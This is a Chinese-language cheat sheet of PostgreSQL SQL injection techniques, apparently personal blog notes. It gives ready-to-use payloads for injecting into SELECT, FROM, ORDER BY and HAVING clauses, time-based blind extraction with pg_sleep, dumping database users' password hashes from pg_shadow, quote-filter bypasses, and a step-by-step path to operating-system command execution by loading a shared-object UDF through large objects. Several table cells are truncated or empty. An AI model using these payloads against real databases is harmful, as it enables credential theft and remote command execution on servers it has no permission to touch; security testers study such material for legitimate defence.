postgresql注入
前言
总结一下一些注入姿势
基础语法
1.Postgres 都是大小写不敏感的
| \h #查看所有的sql关键字 | 
数据库之间的语言基本都是通用的,查询的时候重点关注的还是一些库的不同,例如current_database(),像like这些也是通用的s
注入点测试以及注入方法
postgresql的注入点可能会位于不同字句内
select
| 如果参数是整数: | 
注入方法:
| 1' UNION SELECT 'a';-- -' | 
union
| '||password FROM users; -- -'; | 

我们知道一般回显的是第一列,所以只需要让第一列不存在就行了
 
from
测试语句:
| 数字: | 
注入语句为
| (SELECT * FROM address WHERE address=''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%')))<>0 THEN pg_sleep(20) ELSE '' END)) ss; -- -; | 
最终效果为:
| SELECT address FROM (SELECT * FROM address WHERE address=''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%')))<>0 THEN pg_sleep(20) ELSE '' END)) ss; -- -; | 
根据SELECT username FROM staff WHERE username SIMILAR TO 'M%'返回的内容与否,它会休眠20秒,或者什么也不做。可以逐字节fuzz数据。
order by
注入点测试:是否延时
| (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN true ELSE false END); -- - | 
利用order by的true或者false
| (SELECT CASE WHEN COUNT((SELECT (SELECT CASE WHEN COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%'))<>0 THEN pg_sleep(20) ELSE '' END)))<>0 THEN true ELSE false END); -- - | 
- 如果第一个COUNT函数没有返回零,那么对于ORDER BY,我们得到最终的true或false。
- 正确或错误取决于内部选择(第二个查询是核心判断的)。
- 内部选择将休眠20秒,或者什么也不返回。
- 这取决于人员表中用户的首字母是否以M开头(这是SELECT username FROM staff WHERE username SIMILAR TO 'M%'部分)。
HAVING
注入点测试
| 如果parameter是整数: | 
此参数接受一个条件,因此我添加了一个AND运算符以使之必须都为真,然后添加了条件,该条件将使我们可以逐字节对值进行暴力破解。
| t' AND (SELECT COUNT((SELECT password FROM staff WHERE password SIMILAR TO '8%' LIMIT 1))) = 1; -- - | 
同样,如果未显示输出,则可以使pg_sleep()函数的大部分时间睡眠(如果为true)20秒钟,并使用它来确定条件输出。
内置函数
| current_database() //当前数据库名 | 
注入过程
爆库
| and 1=2 union select (select current_database()),null,null-- | 

获取表名,字段名
| and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n-- | 
获取数据
| nd 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0--爆数据库用户密码 | 
读写文件
| 老版本写文件: | 
绕过
| /**/ = " " | 
过滤引号
使用$符号
| select $$test$$ == SELECT $quote$test$quote$; == select 'test' | 
在字符串拼接的时候采取CHR()函数:
| SELECT CHR(65)||CHR(66)||CHR(67)||CHR(68)||CHR(69)||CHR(70)||CHR(71)||CHR(72);等效于SELECT 'ABCDEFGH'; | 
命令执行
1.利用 libc 中的 system() 函数
2.利用Perl/Python脚本语言功能
3.利用C语言自定义函数
查看Postgresql目录
| SELECT setting FROM pg_settings WHERE name='data_directory'; | 
查询oid
| select lo_creat(-1); | 
oid与上面保持一致;
| delete from pg_largeobject where loid=18412; | 
把十六进制的so文件导入
| insert into pg_largeobject (loid,pageno,data) values(18412, 0, decode('7F454CXXXXXXXXX000', 'hex')); | 
利用postgresql自带函数将大型对象导出到文件
| SELECT lo_export(18412, 'cmd.so'); | 
建立UDF
| CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; | 
调用udf
| select sys_eval('id'); | 
postgresql注入